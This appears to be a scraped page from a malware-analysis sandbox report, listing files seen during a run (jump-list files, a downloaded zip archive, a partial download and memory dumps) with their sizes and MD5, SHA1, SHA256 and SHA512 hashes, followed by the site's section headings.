0ab386bc5822dfac95f1145af6ee9b04c664969974903d9cae91289081d1baafaeae2c5064d575b74c03a11c0ca54d4295224211fd6f5d217bbacb86317b1d57

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ccba5a5986c77e43.customDestinations-ms

Filesize
10KB

MD5
39db992808204b0a53458b55ebb2dce9

SHA1
7e482000d474225395d62eccb0a3dfa37fc52099

SHA256
640f3cb0b77740d297933220732d5ad03938c06d6593c9d4bfe8784aa7001f37

SHA512
3ecfb561b221491e9080c3b772cfb2d1c375dc775025e0cd00f87d55ec6373167d4161eed75a09983e12083e7a8839a7c64cbd748d89de522c0352cbba244969

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ccba5a5986c77e43.customDestinations-ms

Filesize
10KB

MD5
b11d7e1fd26c937b344a5871cf39797c

SHA1
107faba2bc2905e38019084c96a4065a178553af

SHA256
ce904c574e0626f90352615fca1bf3e6404d92666ec6ff3f33261072ff510cf3

SHA512
f684b0e3ccd28d69f9ce57b936fdecee4906033511076f134e6d91a203ce2b6bf1152d547bc5184d8097cf07078f45149e9a5401bb776fa9175e96c68078c1f4

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ccba5a5986c77e43.customDestinations-ms

Filesize
12KB

MD5
6b4e688729b36744c90298de9c1dab80

SHA1
89c867a160993eb184b520d747e23453e9b60cea

SHA256
f2648e5a7a26500d905dd92736c22de0089497decec04e36cdbeb54f3e7d6ca4

SHA512
b294026e17f0c26c3e9dc4fd2994cfef8c98118a7b10b205628105efd659701870d2589d7a5ad052a19f919d1ff1b81c69e7a474df50f1ae7a7969f029f79533

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ccba5a5986c77e43.customDestinations-ms

Filesize
12KB

MD5
f0bddb1ea31b6a70a17b29ebd8fdc6e9

SHA1
27c7edc869d79bb21c54bc87667acacd6033ba1e

SHA256
b79474bb7e68c6a4a2683577ffb8cc0badfe4478641a9709fc45d2c238402d23

SHA512
c86d9b594cc7ad50459fdb11815a7ce46c6a88bf3dc1b31c91a52abcc6282f65e6c935bb20f3809a82581909e48e66c0e9f75b63e84d6c7da46b91133feb9a83

Download Submit
C:\Users\Admin\Downloads\SpongebobNoSleep-main.zip

Filesize
25.1MB

MD5
42a793ebe11da6bb3393727fd0ab7a31

SHA1
f5c4393fba69213c0cd7e00adfcf2f95e1202533

SHA256
16fd8abf4a7c28833e3c98a21a0da725f31c3b1f75eda0c3e9d29504db66594d

SHA512
2ac15114f5d5a842f47dd515fdc76c45fdddc9044cf440d8f3f0b64550d412bc8cf2b687ebecf6d360ff77fccc45bd6b277855b20b9d505e962b40aaba0838f9

Download Submit
C:\Users\Admin\Downloads\Unconfirmed 948198.crdownload

Filesize
5.8MB

MD5
9c232fe2ede51929244afc5c67e53b51

SHA1
8e8bb0eda09d25c1f44b8abd66a7e15a414b76f5

SHA256
1985fdbec700334fbb2c907f37a102930744e6b3e9198c25f516eae9f6854e9b

SHA512
d7ba56ed15a4bb482a69543e6bfe11d0aed4bf6b6b037d51dc2d191e1eaae187d1297bbb7c847d73259c34bb9ee26f26f3689c2592b4ff92968101303be61492

Download Submit
memory/3464-4186-0x0000000000400000-0x000000000079B000-memory.dmp

Filesize
3.6MB

Download
memory/3464-4206-0x0000000000400000-0x000000000079B000-memory.dmp

Filesize
3.6MB

Download
memory/3464-4235-0x0000000000400000-0x000000000079B000-memory.dmp

Filesize
3.6MB

Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads